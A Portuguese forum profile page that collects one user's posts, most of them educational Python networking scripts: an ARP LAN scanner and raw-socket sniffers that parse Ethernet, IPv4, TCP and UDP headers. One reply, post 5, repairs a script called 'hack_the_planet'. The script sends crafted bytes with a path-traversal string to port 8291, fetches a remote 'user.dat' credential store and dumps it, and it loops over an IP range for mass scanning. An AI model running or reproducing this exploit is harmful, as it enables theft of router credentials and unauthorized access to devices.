Ir para conteúdo
  • Cadastre-se

gnoo

Membros
  • Total de itens

    114
  • Registro em

  • Última visita

Tudo que gnoo postou

  1. Sabes que calcular o desconto de 1kg de bananas, tem muito que se lhe diga :P. @fredericopissarra tens que ter calma andas muito nervoso, cuidado com a tua tensão arterial. 🙂
  2. gnoo

    Cruz Credo!

    Eu gostava de usar vim mas não consigo principalmente para desenvolvimento web, Vim para mim não serve
  3. gnoo

    Cruz Credo!

    Qual é o editor de texto que usas @fredericopissarra ?
  4. Saudações, eu algum tempo atrás fiz um script em python com o objetivo de fazer scan ARP na minha LAN para efeitos educacionais... e não só 👁️ ... E decidi partilhar aqui esse script para quem quer tirar umas ideias .... E aqueles que quiserem dar umas sugestões de melhoria do código podem comentar para trocar umas ideias, para que eu possa também aprender coisas novas. O scan ARP pode ser interessante em várias situções, uma delas é quando queremos fazer um scan na nossa rede, e por alguma razão outros hosts ativos na rede podem estar a bloquear pacotes ICMP, não ter portas abertas no sistema para fazer scan através de handshake. Acho que o mais interessante disto tudo é perceber como um scan ARP funciona... Então nós sabemos que o nosso sistema para iniciar conversação com outro host na rede, precisa do endereço físico desse host ( MAC ADDRESS ), é ai que entra o protocolo ARP, para fazer a resolução de endereço do host que nós queremos comunicar com base no endereço de IP que temos, fazendo um broadcast ( pergunta de um para todos ), para todos os elementos estão ligados à rede, depois é nos devolvido uma resposta em Unicast ( resposta de um para um ) do host com o IP com o qual nos queremos comunicar. Então um scan ARP consiste em criar uma sequência de ip's, percorrer essa sequência de ip's num ciclo de repetição, a cada iteração desse ciclo de repetição criar um frame ethernet, criar um pacote ARP, adicionar o pacote ARP à carga do frame ethernet e enviar esse frame. No meu caso eu criei dois sockets um para enviar o pacote e outro para ficar em "escuta" de frames ethernet, analisando o seu tipo de ethernet... se o tipo for ARP analisamos a carga desse frame, e tentamos perceber se o tipo de operação do pacote que chega é 2, se essa condição for verdadeira então analisamos o ip de quem envia e o respetivo endereço fisico ( MAC ADDRESS ), e realizamos a saida de dados. ATENÇÂO: o script que segue deve ser melhorado especialmente na função em que é feita a iteração e o empacotamento uma vez que o seu tempo de execução está a demorar em média 8 a 10 segundos, deve ser aplicado um sistema de threads nessa função. O código que segue percisa de configurações... é necessário configurar o nome da placa de rede no socket que envia pacotes, tal como dados necessário para o pacote ARP SEGUE SCRIPT: #!/usr/bin/env python3 from socket import * import struct import binascii from ipaddress import IPv4Network import signal import sys import threading # Esta class serve para fazer o pacote ARP class Pacote_Arp(object): def __init__(self): self.tipo_hardware = None self.tipo_protocolo = None self.len_hardware = None self.len_protocolo = None self.operacao = None self.mac_src = None self.src_ip = None self.mac_dest = None self.dest_ip = None self.protocolo = None class Gestor_Pacotes(object): def __init__(self, socket_family, socket_type, protocolo, cabecalho_arp): self.socket_family = socket_family self.socket_type = socket_type self.protocolo = ntohs(protocolo) self.lista_ip = IPv4Network('192.168.1.0/24') self.cabecalho_arp = cabecalho_arp def Mac_unhexlify(self): mac_dest_byte_order = binascii.unhexlify(self.cabecalho_arp.mac_dest.replace(":", "")) mac_src_byte_order = binascii.unhexlify(self.cabecalho_arp.mac_src.replace(":", "")) return mac_dest_byte_order, mac_src_byte_order def Empacotamento_Frame_ArpHeader(self, ip): src_ip = inet_aton(self.cabecalho_arp.src_ip) self.cabecalho_arp.dest_ip = ip dest_ip = inet_aton(str(ip)) mac_dest_byte_order, mac_src_byte_order = self.Mac_unhexlify() frame = struct.pack("!6s6sH", mac_dest_byte_order, mac_src_byte_order, self.cabecalho_arp.protocolo) arp_header = struct.pack("!HHBBH6s4s6s4s", self.cabecalho_arp.tipo_hardware, self.cabecalho_arp.tipo_protocolo, self.cabecalho_arp.len_hardware, self.cabecalho_arp.len_protocolo, self.cabecalho_arp.operacao, mac_src_byte_order, src_ip, mac_dest_byte_order, dest_ip) return frame + arp_header def desempacotamento_header_arp(self,payload): (tipo_hardware, tipo_protocolo, tamanho_endereco_hardware, tamanho_endereco_protocolo, operacao, mac_sender, ip_sender, mac_dest, ip_dest) = struct.unpack("!HHBBH6s4s6s4s", payload) return tipo_hardware, tipo_protocolo, tamanho_endereco_hardware, + \ tamanho_endereco_protocolo, operacao, mac_sender, ip_sender, mac_dest, ip_dest def byte_to_hex_mac(self, mac_em_bytes): endereco = binascii.hexlify(mac_em_bytes).decode("ascii") return ":".join([endereco[i:i+2] for i in range(0,12,2)]) def desempacotamento_ethernet_frame(self,raw_dados): mac_destino, mac_fonte, tipo_ethernet = struct.unpack('! 6s 6s H', raw_dados[:14]) return tipo_ethernet, raw_dados[14:] def send_broadcast(self, pacote_broadcast): self.sock = socket(self.socket_family, self.socket_type, self.protocolo) self.sock.settimeout(0.3) self.sock.bind(("< PLACA DE REDE >",htons(0x0806))) self.sock.send(pacote_broadcast) self.sock.close() def recv_unicast(self): self.sock2 = socket(AF_PACKET, SOCK_RAW, ntohs(0x0003)) try: while True: raw_dados, addr = self.sock2.recvfrom(65536) if raw_dados: tipo_ethernet, payload = self.desempacotamento_ethernet_frame(raw_dados) if tipo_ethernet == 2054: (tipo_hardware, tipo_protocolo, tamanho_endereco_hardware,tamanho_endereco_protocolo, operacao, mac_sender, ip_sender, mac_dest, ip_dest) = self.desempacotamento_header_arp(payload[:28]) if operacao == 2: print("Host: {} MAC: {} Hostname: {}".format(inet_ntoa(ip_sender), self.byte_to_hex_mac(mac_sender),getfqdn(inet_ntoa(ip_sender)))) except: pass # Gera pacotes com um ip diferente a cada iteração enviando esse pacote def for_loop_gera_pacote(): for ip_em_lista in GestorPacotes.lista_ip: pacote = GestorPacotes.Empacotamento_Frame_ArpHeader(ip = ip_em_lista) GestorPacotes.send_broadcast(pacote) def InterrompePrograma_CTRL_C(signal, frame): print("Programa interrompido pelo utilizador") sys.exit(0) if __name__ == '__main__': ##### AQUI SÂO INSERIDOS OS DADOS DO PACOTE ############### Arp = Pacote_Arp() Arp.tipo_hardware = 1 Arp.tipo_protocolo = 0x0800 Arp.len_hardware = 6 Arp.len_protocolo = 4 Arp.operacao = 1 Arp.mac_src = '' Arp.src_ip = '' Arp.mac_dest = 'ff:ff:ff:ff:ff:ff' Arp.protocolo = 0x0806 ##################################################### GestorPacotes = Gestor_Pacotes(socket_family = PF_PACKET, socket_type = SOCK_RAW , protocolo = 0x0806, cabecalho_arp = Arp) # Termina programa quando CTRL + C signal.signal(signal.SIGINT, InterrompePrograma_CTRL_C) # Esta thread """ Permite a execução do metodo recv_unicast da class Gestor_Pacotes, em simultaneo com a função for_loop_gera_pacote, o que nos permite que esse método fique em escuta enquanto empacotamos e fazemos o envio do pacotes em broadcast, podendo assim receber as respostas """ processo = threading.Thread( target = GestorPacotes.recv_unicast) # É necessário para que seja possivel sair do programa após a função for_loop_gera_pacote terminar processo.daemon = True processo.start() for_loop_gera_pacote() sys.exit(0) Abraço.
  5. @lucascruz o problema no teu código NO MEU ponto de vista, tem a ver com lógica, ou seja, os dados a enviar, a receber e a ser manipulados devem ser feitos apenas se a conexão se realizar, tens que testar se a conexão existe e só depois envias os dados, recebes os dados e fazes o tratamento dos dados recebidos. Se a conexão não for efectuada é nos dado um erro que nos dá uma ideia da razão pela qual não fez conexão para nos ajudar a resolver problemas. A questão agora é se há algum problema com o código do bloco de instruções que é executado se a ligação for efectuada, uma vez que não consigo reproduzir esse ambiente onde a falha existe, não consigo testar, isso já fica ao teu encargo. ATENÇÃO: Eu comentei a linha from extract_user import dump para não dar erro a dizer quer extract_user não existe uma vez que não baixei o código do github apenas olhei para aquele foi aqui referido, para usar o dump tens que descomentar a essa linha. Segue código: #!/usr/bin/env python3 import socket import sys #from extract_user import dump def hack_the_planet(ip): a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07, 0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21, 0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66, 0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00] b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01, 0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08, 0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09, 0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00] # Initialize Socket try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # ATENÇÃO: Deve ser alterado mediante a necessidade s.settimeout(0.5) # excuta a conexão print("A testar Host: " + str(ip)) conexao = s.connect_ex((ip, 8291)) # Testa se conexao efetuada com sucesso, # Se valor for 0 a conexao foi efetuada if conexao == 0: print("Conexão efetuada com sucesso em {}".format(ip)) # Se conexao efetuada executa bloco de instruções que segue # Convert to bytearray for manipulation a = bytearray(a) b = bytearray(b) # Send hello and recieve the sesison id s.send(a) d = bytearray(s.recv(1024)) # Replace the session id in template b[19] = d[38] # Send the edited response s.send(b) d = bytearray(s.recv(1024)) # Get results print(ip) dump(d[55:]) s.close() except socket.error as erro: # SE conexão não efetuada devolve erro e passa para a iteração seguinte print("IP: {} Porta: 8291, conexão não efetuada -> {}\n".format(ip, erro)) print('VARRENDO HOSTS ...') if __name__ == "__main__": iprange =['177.77.777.' + str(x) for x in range(0, 250)] for ip in iprange: hack_the_planet(ip) Abraço
  6. @lucascruz pelo que eu percebi esse scan é para ser feito numa rede LAN, ou estou enganado?
  7. @kassane há PDF disso na rede? Procurei e não encontrei.
  8. Já tentaste tutoriais em video?
  9. @vitoralmeida tudo bem!? Olha eu não trabalho nem nunca trabalhei na àrea de TI, digamos que sou apenas um curioso que gosta saber como as coisas funcionam, para isso tenho eu estudar um pouco mas não o faço por obrigação, mas posso deixar o meu testemunho. Antes de mais como o @Fernando Mercês disse e bem, aproveita tudo o que a faculdade te pode oferecer. Há uma coisa que deves perceber logo de inicio, a questão que tu falas sobre desenvolvimento web e a segurança, tu falas como se fossem duas coisas distintas quando não são, ou seja uma coisa deve complementar a outra, o que eu quero dizer com isso é que um dos melhores exercicios que podes ter é fazer uma aplicação web, porque durante o desenvolvimento dessa aplicação tens que estudar redes, tens que estudar programação e ainda tens que estudar como aplicar sistemas de segurança nessa aplicação para tentar evitar ataques, ataques esses de varios tipos, vais mexer com formularios, sistemas de autenticação, vai mexer com proteções para XSS vais ouvir falar injeções SQL vais ouvir falar de Keys, vai ouvir falar de Tokens Coockies, payloads, vais ter que configurar servidores e perceber sistemas de configuração e segurança vais mexer com TLS, vai mexer com DNS, com bases de dados.... a segurança não está separada do desenvolvimento web, antes pelo contrario. Depois vai ser mais facil perceber a parte ofensiva, do ataque porque já conheces os sistemas implementados, frameworks, etc... Isto é só a opinião de quem leva isto como um hobbie... mas fica a ideia... Abraço.
  10. @fredericopissarra devias fazer um artigo sobre isso, porque encontramos muita informação mas com esse nível de análise é difícil
  11. @fredericopissarra eu quando fiz este post fiz a pensar em dados do tipo inteiro, e realmente não pensei além disso o que talvez tenha sido um erro, tanto não pensei em números negativos como também não pensei em valores do tipo char, qualquer das formas ficou bem claro que existem algumas variáveis neste tipo de abordagem. Obrigado.
  12. @fredericopissarra realmente eu não tinha pensado nisto com número negativos, obrigado por lembrares esse pormenor. Só não percebi o reparo que fazes na multiplicação, quando dizes que 127 positivo com um 1 bit para a esquerda o resultado é -2, eu estou a tentar fazer isso e obtenho um resultado diferente, podes fazer um script a demonstrar isso? Obrigado.
  13. @trevizan Obrigado espero que seja útil. :) Não sei se este exemplo chega para implementar funções matemáticas/criptográficas, mas se for o inicio de algo já é bom.
  14. Saudações, quando começamos a mexer com operadores bitwise, não é difícil encontrar conteúdo que nos serve como exemplo, mas há alguns pormenores que nos pode ajudar a estruturar um raciocínio na altura de manipular bits que nunca são referidos, neste caso vou deixar aqui uma ideia que nos podem ajudar a usar os operadores shift left e shift right. Os exemplos que vou deixar são feitos com python, mas o conceito é o mesmo para outras linguagens programação. Conceito básico de POTÊNCIA ( matemática) Potência é uma multiplicação onde se repete sempre o mesmo fator. Exemplo com shift left Imaginando o seguinte exemplo Raciocínio: Que é o mesmo que…. Exemplo com shift right Raciocínio Que é o mesmo que… Quando o resultado do shift right é um número decimal Quando o número do resultado do shift right é um número decimal o número perde as casas decimais sendo apenas representado por um número inteiro. Imaginando que temos 5 >> 1, em que 5 é dividido por 2 elevado a 1 ( que é 2, sendo que todos os números elevados a 1 representam o mesmo número ), então 5 : 2 = 2,5 Mas o resultado vai ser 2, é sempre representado por um número inteiro, vamos ver na prática É claro que o que está por trás disto é um pouco mais complexo, mas acho que esta abordagem é interessante na altura de pensar uma solução para o nosso problema. Abraço.
  15. Saudações, hoje reparei que no código que trata os dados do header IPv4, o valor que estava a ser devolvido para o campo "versão", não estava correto, eu estava a devolver o valor do primeiro byte( 8 bits ) que é composto pela versão e o tamanho do Header, em vez de apanhar apenas os primeiros 4 bits, e por consequência o valor do tamanho do header também estava errado.... e fiz a correção. Só Deus sabe o porquê de eu fazer um coisa dessas.... Fiz comparação de valores com o wireshark e os valores que são devolvidos são iguais e estão corretos ( penso eu ).... Resolvi avisar para o caso de alguém estar a usar o código para alguma coisa saber que esses valores não estavam corretos. Peço desculpa se induzi alguém em erro a correção pode ser vista em: abraço.
  16. @R3n4to Boa! Depois partilha esse trabalho aqui se for possível. Boa sorte ☺️
  17. @Gabriel de Lima Desculpa. Mas nesse caso não te posso ajudar eu não tenho conhecimento nesse campo vou marcar aqui o @Fernando Mercês Pode ser que ele te ajude... Ou talvez apareça outra pessoa. Abraço
  18. ola @Gabriel de Lima espero que esteja tudo bem contigo :) Olha eu não consigo de momento dar-te um código como exemplo porque estás a usar headers do windows que eu não tenho no meu sistema. Mas o que te posso dizer é que o teu problema está na tua lógica, tu quando defines a função func_001() , essa função tem retornar um valor para que ao chamar essa função na função main() tu possas comparar esse valor numa estrutura de decisão e se essa comparação for verdadeira então chamas o break para interromper esse ciclo de repetição, ou seja dentro do teu cico while está a faltar uma comparação entre dois valores um deles retornado fa tua função func_001(). Vou deixar este código para ver se perceber o que quero dizer e se consegues estruturar o teu raciocínio... #include<stdio.h> int soma(void){ int num1 = 4, num2 = 3, soma_numeros; soma_numeros = num1 + num2; return soma_numeros; }; int main(void){ int x; int total = soma(); while( x < 10){ printf("%d\n", x); x++; if(x == total){ break; } } }; eu penso que seja essa a solução mas eu não sou especialista em C, talvez alguém tenha outro tipo de abordagem que eu desconheço. Abraço.
  19. Olá @R3n4to tudo bem? Podia ser interessante pegar neste tema sobre os routers e as suas configurações, firmewarw, que o @phbs14 trouxe noutro post que podes ver nest link: https://www.mentebinaria.com.br/forums/topic/489-firmware-de-operadoras-em-routers/ Acho que é um assunto que não se fala muito, e é um tema com bastante relevância, especialmente após alguns ataques que foram feitos nos ultimos tempos, tens como exemplo o video que o @Fernando Mercês deixo no canal do youtube, que podes ver aqui. https://www.youtube.com/watch?v=ndQGJdm2Nbk Abraço.
  20. Eu também já tive esse problema pelo menos duas vezes..
  21. Saudações, Este conteúdo está sujeito a erros de interpretação por parte da minha pessoa, se vires algum erro ou achas que tens algo a acrescentar deixa nos comentários para ser corrigido/adicionado... Os conceitos de redes aqui apresentados foram retirados do livro:   neste tópico vamos ver como analisar um pacote UDP, este pacote vem encapsulado no payload / carga, do pacote IP e circula no protocolo 17. A análise do pacote UDP pode ser importante por várias razões, uma delas é porque é através dele que nós chegamos ao DNS que pode ser encontrado na carga deste pacote, e isso para os “hackers” de serviço pode ser importante. Antes de fazer a função para tratar os dados que vêm neste pacote vamos ver algumas características do ser formato. ATENÇÃO: O conteúdo que segue deve ser complementado com a leitura de um livro da especialidade Formato de mensagem UDP Função para tratar os dados do cabeçalho UDP def dados_pacote_udp(carga): tupla_dados_udp = struct.unpack('! H H H H', carga[:8]) porta_fonte = tupla_dados_udp[0] porta_destino = tupla_dados_udp[1] udp_len = tupla_dados_udp[2] udp_checksum = tupla_dados_udp[3] return porta_fonte, porta_destino, udp_len, udp_checksum, carga[8:] Script completo… #coding:utf-8 #!/usr/bin/env python3 from socket import * import struct import binascii # AF_PACKET Familia protocolo (everywere) # ntohs(3) - Permite capturar todos os pacotes com frames ethernet def ethernet_frame(raw_dados): mac_destino, mac_fonte, protocolo = struct.unpack('! 6s 6s H', raw_dados[:14]) return byte_to_hex_mac(mac_destino), byte_to_hex_mac(mac_fonte), htons(protocolo), raw_dados[14:] def byte_to_hex_mac(mac_em_bytes): endereco = binascii.hexlify(mac_em_bytes).decode("ascii") return ":".join([endereco[i:i+2] for i in range(0,12,2)]) def dados_pacote_ipv4(carga): tupla_dados_ipv4 = struct.unpack("!BBHHHBBH4s4s", carga[:20]) versao = tupla_dados_ipv4[0] header_len = versao >> 4 tipo_servico = tupla_dados_ipv4[1] tamanho_total = tupla_dados_ipv4[2] identificacao = tupla_dados_ipv4[3] offset_fragmento = tupla_dados_ipv4[4] tempo_vida_ttl = tupla_dados_ipv4[5] protocolos = tupla_dados_ipv4[6] checksum_cabecalho = tupla_dados_ipv4[7] ip_origem = inet_ntoa(tupla_dados_ipv4[8]) ip_destino = inet_ntoa(tupla_dados_ipv4[9]) # correção tamanho_header_bytes = (versao & 15) * 4 # Cálculo Tamanho do header em bytes return versao, header_len, tipo_servico, + \ tamanho_total, identificacao, offset_fragmento, + \ tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino, carga[tamanho_header_bytes:] def dados_pacote_tcp(carga): tupla_dados_tcp = struct.unpack('! HHLLBBHHH', carga[:20]) porta_fonte = tupla_dados_tcp[0] porta_destino = tupla_dados_tcp[1] numero_sequencia = tupla_dados_tcp[2] numero_confirmacao = tupla_dados_tcp[3] # Esta linha recebe dois campos do cabeçalho ( HLEN & RESERVADO ) hlen_e_reservado = tupla_dados_tcp[4] # Esta linha recebe campo HLEN header_len = (hlen_e_reservado >> 4) * 4 flags = tupla_dados_tcp[5] flag_FIN = flags & 1 flag_SYN = (flags >> 1) & 1 flag_RST = (flags >> 2) & 1 flag_PSH = (flags >> 3) & 1 flag_ACK = (flags >> 4) & 1 flag_URG = (flags >> 5) & 1 flag_ECE = (flags >> 6) & 1 flag_CWR = (flags >> 7) & 1 window_size = tupla_dados_tcp[6] checksum = tupla_dados_tcp[7] urgent_pointer = tupla_dados_tcp[8] return porta_fonte, porta_destino ,numero_sequencia, + \ numero_confirmacao, hlen_e_reservado, header_len, + \ flags, flag_FIN, flag_SYN, flag_RST, flag_PSH, flag_ACK, + \ flag_URG, flag_ECE, flag_CWR, window_size, checksum, urgent_pointer , carga[:20] def dados_pacote_udp(carga): tupla_dados_udp = struct.unpack('! H H H H', carga[:8]) porta_fonte = tupla_dados_udp[0] porta_destino = tupla_dados_udp[1] udp_len = tupla_dados_udp[2] udp_checksum = tupla_dados_udp[3] return porta_fonte, porta_destino, udp_len, udp_checksum, carga[8:] sock = socket(AF_PACKET, SOCK_RAW, ntohs(0x0003)) while True: raw_dados, addr = sock.recvfrom(65536) mac_destino, mac_fonte, protocolo, carga_util = ethernet_frame(raw_dados) print("------- FRAME ETHERNET-----------") print("Endereço MAC destino : {}".format(mac_destino)) print("Endereço MAC fonte : {}".format(mac_fonte)) print("Protocolo : {}\n".format(protocolo)) print("Carga útil -> {}\n".format(carga_util)) # A variavel (protocolo) está a referir-se ao # tipo de frame # Se for 8 vem ai pacote IP \0/ if protocolo == 8: """ Para desempacotar os valores da função dados_pacote_ipv4 com as variáveis aninhadas, necessáriamente elas têm que estar entre parênteses... """ ( versao, header_len, tipo_servico, tamanho_total, identificacao, offset_fragmento, tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino, carga ) = dados_pacote_ipv4(carga_util) print("--------- HEADER IPV4----------") print("Versão : {}".format(versao)) print("Header_len : {}".format(header_len)) print("Tipo Serviço : {}".format(tipo_servico)) print("Tamanho Total : {}".format(tamanho_total)) print("Identificação : {}".format(identificacao)) print("Offset Fragmento : {}".format(offset_fragmento)) print("Tempo vida TTL : {}".format(tempo_vida_ttl)) print("Protocolo : {}".format(protocolos)) print("checksum Cabeçalho : {}".format(checksum_cabecalho)) print("IP Origem: {}".format(ip_origem)) print("IP Destino: {}\n".format(ip_destino)) print("Carga : {}\n".format(carga)) if protocolos == 6: (porta_fonte, porta_destino, numero_sequencia, numero_confirmacao, hlen_e_reservado, header_len, flags, flag_FIN, flag_SYN, flag_RST, flag_PSH, flag_ACK, flag_URG, flag_ECE, flag_CWR, window_size, checksum, urgent_pointer, carga ) = dados_pacote_tcp(carga) print("--------- HEADER TCP----------") print("Porta Fonte : {}".format(porta_fonte)) print("Porta Destino : {}".format(porta_destino)) print("Número Sequência : {}".format(numero_sequencia)) print("Número Confirmação : {}".format(numero_confirmacao)) print("Hlen_e_reservado : {}".format(hlen_e_reservado)) print("Header_len : {}".format(header_len)) print("Flags : {}".format(flags)) print("Flag FIN : {}".format(flag_FIN)) print("Flag SYN : {}".format(flag_SYN)) print("Flag RST : {}".format(flag_RST)) print("Flag PSH : {}".format(flag_PSH)) print("Flag ACK : {}".format(flag_ACK)) print("Flag URG : {}".format(flag_URG)) print("Flag ECE : {}".format(flag_ECE)) print("Flag CWR : {}".format(flag_CWR)) print("window size : {}".format(window_size)) print("checksum : {}".format(checksum)) print("urgent pointer : {}\n".format(urgent_pointer)) print("carga : {}\n".format(carga)) elif protocolos == 17: porta_fonte, porta_destino, udp_len, udp_checksum, carga = dados_pacote_udp(carga) print("--------- HEADER UDP ----------") print("Porta Fonte : {}".format(porta_fonte)) print("Porta Destino : {}".format(porta_destino)) print("UDP Length : {}".format(udp_len)) print("UDP Checksum : {}\n".format(udp_checksum)) print("Carga : {}\n".format(carga)) """ socket.ntohs( x ) Converte inteiros positivos de 16 bits da rede para a ordem de bytes do host. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. ------------------------------------------------------------------------------ socket.htons( x ) Converte inteiros positivos de 16 bits da ordem de bytes do host para a rede. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. """ na função que fizemos para tratar os dados do pacote UDP, estamos a retornar o valor carga[8:], é nesses dados que vamos buscar o DNS, ao aceder ao site: https://www.mentebinaria.com.br podemos ver o dominio e o DNS... são esses dados que temos que tratar... abraços.
  22. Saudações, Este conteúdo está sujeito a erros de interpretação por parte da minha pessoa, se vires algum erro ou achas que tens algo a acrescentar deixa nos comentários para ser corrigido/adicionado... Os conceitos de redes aqui apresentados foram retirados do livro: antes de começar a falar sobre pacotes TCP, temos que fazer uma pequena alteração para complemetar o código anterior na função em que tratamos os dados de um pacote Ipv4, com uma linha de código que vai calcular o tamanho do pacote Ipv4 em bytes, valor esse que serve para fazer o fatiamento da carga que vai ser passada como argumento para a função, que trata os dados do pacote TCP, tendo também que retornar o valor da carga com o fatiamento referido. Eu não vou fazer a alteração no código do post anterior, porque se a intenção for apenas analisar um pacote Ipv4 o código anterior faz essa tarefa, mas para analisar o pacote TCP tem que ser feita essa pequena alteração que vamos ver agora… Na linha tamanho_header_bytes = (versao & 15) * 4 e retornando o valor da carga com o devido fatiamento, carga[tamanho_header_bytes:] Alteração da Função trata dados pacote Ipv4 def dados_pacote_ipv4(carga): tupla_dados_ipv4 = struct.unpack("!BBHHHBBH4s4s", carga[:20]) versao = tupla_dados_ipv4[0] header_len = versao >> 4 tipo_servico = tupla_dados_ipv4[1] tamanho_total = tupla_dados_ipv4[2] identificacao = tupla_dados_ipv4[3] offset_fragmento = tupla_dados_ipv4[4] tempo_vida_ttl = tupla_dados_ipv4[5] protocolos = tupla_dados_ipv4[6] checksum_cabecalho = tupla_dados_ipv4[7] ip_origem = inet_ntoa(tupla_dados_ipv4[8]) ip_destino = inet_ntoa(tupla_dados_ipv4[9]) # Esta linha é a alteração efetuada do tópico anterior tamanho_header_bytes = (versao & 15) * 4 # Cálculo Tamanho do header em bytes return versao, header_len, tipo_servico, + \ tamanho_total, identificacao, offset_fragmento, + \ tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino, carga[tamanho_header_bytes:] Agora segue o script do tópico anterior completo com as devidas alterações para análise do pacote TCP. #coding:utf-8 #!/usr/bin/env python3 from socket import * import struct import binascii # AF_PACKET Familia protocolo (everywere) # ntohs(3) - Permite capturar todos os pacotes com frames ethernet def ethernet_frame(raw_dados): mac_destino, mac_fonte, protocolo = struct.unpack('! 6s 6s H', raw_dados[:14]) return byte_to_hex_mac(mac_destino), byte_to_hex_mac(mac_fonte), htons(protocolo), raw_dados[14:] def byte_to_hex_mac(mac_em_bytes): endereco = binascii.hexlify(mac_em_bytes).decode("ascii") return ":".join([endereco[i:i+2] for i in range(0,12,2)]) def dados_pacote_ipv4(carga): tupla_dados_ipv4 = struct.unpack("!BBHHHBBH4s4s", carga[:20]) versao = tupla_dados_ipv4[0] header_len = versao >> 4 tipo_servico = tupla_dados_ipv4[1] tamanho_total = tupla_dados_ipv4[2] identificacao = tupla_dados_ipv4[3] offset_fragmento = tupla_dados_ipv4[4] tempo_vida_ttl = tupla_dados_ipv4[5] protocolos = tupla_dados_ipv4[6] checksum_cabecalho = tupla_dados_ipv4[7] ip_origem = inet_ntoa(tupla_dados_ipv4[8]) ip_destino = inet_ntoa(tupla_dados_ipv4[9]) # correção tamanho_header_bytes = (versao & 15) * 4 # Cálculo Tamanho do header em bytes return versao, header_len, tipo_servico, + \ tamanho_total, identificacao, offset_fragmento, + \ tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino, carga[tamanho_header_bytes:] sock = socket(AF_PACKET, SOCK_RAW, ntohs(0x0003)) while True: raw_dados, addr = sock.recvfrom(65536) mac_destino, mac_fonte, protocolo, carga_util = ethernet_frame(raw_dados) print("------- FRAME ETHERNET-----------") print("Endereço MAC destino : {}".format(mac_destino)) print("Endereço MAC fonte : {}".format(mac_fonte)) print("Protocolo : {}\n".format(protocolo)) print("Carga útil -> {}\n".format(carga_util)) # A variavel (protocolo) está a referir-se ao # tipo de frame # Se for 8 vem ai pacote IP \0/ if protocolo == 8: """ Para desempacotar os valores da função dados_pacote_ipv4 com as variáveis aninhadas, necessáriamente elas têm que estar entre parênteses... """ ( versao, header_len, tipo_servico, tamanho_total, identificacao, offset_fragmento, tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino, carga ) = dados_pacote_ipv4(carga_util) print("--------- HEADER IPV4----------") print("Versão : {}".format(versao)) print("Header_len : {}".format(header_len)) print("Tipo Serviço : {}".format(tipo_servico)) print("Tamanho Total : {}".format(tamanho_total)) print("Identificação : {}".format(identificacao)) print("Offset Fragmento : {}".format(offset_fragmento)) print("Tempo vida TTL : {}".format(tempo_vida_ttl)) print("Protocolo : {}".format(protocolos)) print("checksum Cabeçalho : {}".format(checksum_cabecalho)) print("IP Origem: {}".format(ip_origem)) print("IP Destino: {}\n".format(ip_destino)) print("Carga : {}\n".format(carga)) Agora que já temos as alterações feitas, antes de avançar e fazer a função que trata os dados do pacote TCP, vamos ver algumas caracteristicas desse mesmo pacote. ATENÇÃO: O conteúdo que segue deve ser complementado com a leitura de um livro da especialidade Formato do segmento TCP NOTA: O campo (bits de código) entenda-se, flags. NOTA: de forma a compreender melhor os valores da variável ( flags ), que aparece na função que vamos fazer a seguir deves ler a matéria que segue neste link https://www.manitonetworks.com/flow-management/2016/10/16/decoding-tcp-flags Função para tratar os dados do cabeçalho TCP def dados_pacote_tcp(carga): tupla_dados_tcp = struct.unpack('! HHLLBBHHH', carga[:20]) porta_fonte = tupla_dados_tcp[0] porta_destino = tupla_dados_tcp[1] numero_sequencia = tupla_dados_tcp[2] numero_confirmacao = tupla_dados_tcp[3] # Esta linha recebe dois campos do cabeçalho ( HLEN & RESERVADO ) hlen_e_reservado = tupla_dados_tcp[4] # Esta linha recebe campo HLEN header_len = (hlen_e_reservado >> 4) * 4 # variável flags flags = tupla_dados_tcp[5] flag_FIN = flags & 1 flag_SYN = (flags >> 1) & 1 flag_RST = (flags >> 2) & 1 flag_PSH = (flags >> 3) & 1 flag_ACK = (flags >> 4) & 1 flag_URG = (flags >> 5) & 1 flag_ECE = (flags >> 6) & 1 flag_CWR = (flags >> 7) & 1 window_size = tupla_dados_tcp[6] checksum = tupla_dados_tcp[7] urgent_pointer = tupla_dados_tcp[8] return porta_fonte, porta_destino ,numero_sequencia, + \ numero_confirmacao, hlen_e_reservado, header_len, + \ flags, flag_FIN, flag_SYN, flag_RST, flag_PSH, flag_ACK, + \ flag_URG, flag_ECE, flag_CWR, window_size, checksum, urgent_pointer Script Completo.... #coding:utf-8 #!/usr/bin/env python3 from socket import * import struct import binascii # AF_PACKET 